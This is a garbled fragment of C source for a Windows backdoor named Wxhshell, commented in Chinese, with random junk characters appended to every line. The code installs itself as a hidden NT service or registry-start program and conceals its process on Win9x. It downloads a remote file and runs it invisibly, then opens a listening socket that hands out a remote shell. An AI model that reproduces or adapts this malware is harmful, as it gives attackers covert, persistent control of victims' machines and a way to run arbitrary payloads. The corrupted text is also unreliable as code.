DWORD ExitStatus; i
UCXAWP
DWORD PebBaseAddress; D!{Y$;
DWORD AffinityMask; "& ])lz[u
DWORD BasePriority; CR8/Ke
ULONG UniqueProcessId; 1"zDin!A
ULONG InheritedFromUniqueProcessId; _4"mAPt
} PROCESS_BASIC_INFORMATION; }Lc-7[/
nzd2zY>V
PROCNTQSIP NtQueryInformationProcess; fd+hA
Sj]T
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !\nBh
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6G1@smP
v\KA'PmiP
HANDLE hProcess; .AR#&mL9
PROCESS_BASIC_INFORMATION pbi; d4u})
t2/#&J]
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lD)%s!
if(NULL == hInst ) return 0; #pP[xE"Y
R)_%i<nq\
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fol,xMc&
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tNO-e|~'
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HJLu'KY}
M2PAy! J
if (!NtQueryInformationProcess) return 0; Aw}"gpL
CJ1 7n
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QQ%D8$k"
if(!hProcess) return 0; ]RPs|R?
10)jsA
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >.Chl$)<
![`Ay4AZ@a
CloseHandle(hProcess); +ln9c
7E!IF>`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UJD 0K]s
if(hProcess==NULL) return 0; (U&tt]|
v25R_""~
HMODULE hMod; 4" Cb/y3
char procName[255]; "S8uoSF`>
unsigned long cbNeeded; vMA]j>>
wN@oYFoL
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2/vMoVT,
-=%@L&y1
CloseHandle(hProcess); =d".|k
0"kbrv2y
if(strstr(procName,"services")) return 1; // 以服务启动 XRcq hv
{_7i8c<s=
return 0; // 注册表启动 ?3nR
} PH1p2Je
-8; 7Sp1
// 主模块 bSiYHRH.e
int StartWxhshell(LPSTR lpCmdLine) #r#1JtT
{ O{QA
SOCKET wsl; d;zai]]
BOOL val=TRUE; Wr<j!>J6Ki
int port=0; G/b^|;41
struct sockaddr_in door; wG~`[>y (
3vuivU.3
if(wscfg.ws_autoins) Install(); p2ogn}`
LCZ\4g05
port=atoi(lpCmdLine); H<VTa? n
_y),J'W^3u
if(port<=0) port=wscfg.ws_port; tz5e"+Tz
W=j[V
Oq
WSADATA data; Cbg!:Cws
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FKIw!m ~
ZIf
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5*j?E
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /I1h2E
door.sin_family = AF_INET; 0rOfrTNOz%
door.sin_addr.s_addr = inet_addr("127.0.0.1"); )k\H@Dy%$
door.sin_port = htons(port); gbI^2=YT'
XlV0* }S
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U7K,AflK?M
closesocket(wsl); hWM<
0=
return 1; mtJ9nC
} '?!zG{x
~k!j+>yT
if(listen(wsl,2) == INVALID_SOCKET) { !ipR$ dM
closesocket(wsl); \?Z{hmN
return 1; Q3
u8bx|E
} w\(.3W7
Wxhshell(wsl); ,I7E[LU
WSACleanup(); 0O9Ni='Tn
>OL 3H$F
return 0; c#|raXGT
nH`Q#ZFz]?
} {t0)
q
q|j2MV5#g
// 以NT服务方式启动 (a[y1{DLy
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _kj wFq
{ ZX>AE3wk
DWORD status = 0; S4'
DWORD specificError = 0xfffffff; T;L>;E>B
!zkZQ2{Wn
serviceStatus.dwServiceType = SERVICE_WIN32; u -;_y='m
serviceStatus.dwCurrentState = SERVICE_START_PENDING; eIz<)-7:
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :ctu5{"UJ
serviceStatus.dwWin32ExitCode = 0; @CTgT-0!
serviceStatus.dwServiceSpecificExitCode = 0; Yn@lr6s
serviceStatus.dwCheckPoint = 0; :K-~fA%kt?
serviceStatus.dwWaitHint = 0; Q?nN!eT
W yB3ls~
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qu-B|
MuOa
if (hServiceStatusHandle==0) return; ~tBYIkvWT
)CuZDf@
status = GetLastError(); N):tOD@B
if (status!=NO_ERROR) Of"
{ o$#G0}yn
serviceStatus.dwCurrentState = SERVICE_STOPPED; -&3hEv5
serviceStatus.dwCheckPoint = 0; 4? ICy/,U-
serviceStatus.dwWaitHint = 0; gLE:g5v6
serviceStatus.dwWin32ExitCode = status; I,0q4
serviceStatus.dwServiceSpecificExitCode = specificError; /JHc! D
SetServiceStatus(hServiceStatusHandle, &serviceStatus); J&M
o%"[)
return; 7[> 6i
} F ~^Jmp7Y
`V`lo,"\
serviceStatus.dwCurrentState = SERVICE_RUNNING; ht2\ y&si
serviceStatus.dwCheckPoint = 0; AfX}y+Ah
serviceStatus.dwWaitHint = 0; O_ChxX0KP
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QWD'!)Zb
} xD5:RE~g
eM$s v9?
// 处理NT服务事件,比如:启动、停止 :+qF8t[L
VOID WINAPI NTServiceHandler(DWORD fdwControl) %/|9@e r
{ W+PJZn
switch(fdwControl) HkO7R
`
{ *VFf.aPwYi
case SERVICE_CONTROL_STOP: h-G)o[MA
serviceStatus.dwWin32ExitCode = 0; _CmOd-y
serviceStatus.dwCurrentState = SERVICE_STOPPED; vbb5f #WZ
serviceStatus.dwCheckPoint = 0; Tw""}|] g
serviceStatus.dwWaitHint = 0; G&i!Hs
{ (#Wu#F1;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /W>iJfx
} $oj:e?8N
return; PmKeF}
case SERVICE_CONTROL_PAUSE: %>~sJ0
serviceStatus.dwCurrentState = SERVICE_PAUSED; KVn []@#
break; i+p^ ^t\
case SERVICE_CONTROL_CONTINUE: ,cB\
serviceStatus.dwCurrentState = SERVICE_RUNNING; +z9Q-d%O
break; *v9 2
case SERVICE_CONTROL_INTERROGATE: d/BM&r
break; LcUh;=r}&
}; I1pWaQ0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -=~| ."O
} ~$)2s7
O
Pb1*\+
// 标准应用程序主函数 VFRi1\G
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "JlpU-8[0@
{ U*22h` S
ujlY!-GM
// 获取操作系统版本 _H j!2 '
OsIsNt=GetOsVer(); Xs~[&
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;_rF;9z9
$wo?!gt
// 从命令行安装 }T&iewk
if(strpbrk(lpCmdLine,"iI")) Install(); ~8GF Q ph
XZ^^%*ew
// 下载执行文件 {ys=Ndo8
if(wscfg.ws_downexe) { {u#;?u=|
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +kzo*zW$L
WinExec(wscfg.ws_filenam,SW_HIDE); -Z 4e.ay5
} 555XCWyrC
-_1>C\h"
if(!OsIsNt) { wB!Nc Y\p
// 如果时win9x,隐藏进程并且设置为注册表启动 WU71/PYm`
HideProc(); 1JztFix
StartWxhshell(lpCmdLine); aX5
z&r:{
} 5]AC*2(
else f33 l$pOp
if(StartFromService()) - `p4-J!Fy
// 以服务方式启动 ] Hzt b
StartServiceCtrlDispatcher(DispatchTable); L*&p!
else IIn"=g=9
// 普通方式启动 G/7cK\^u
StartWxhshell(lpCmdLine); IOqwCD[
uI1q>[
return 0; `< xn8h9p
}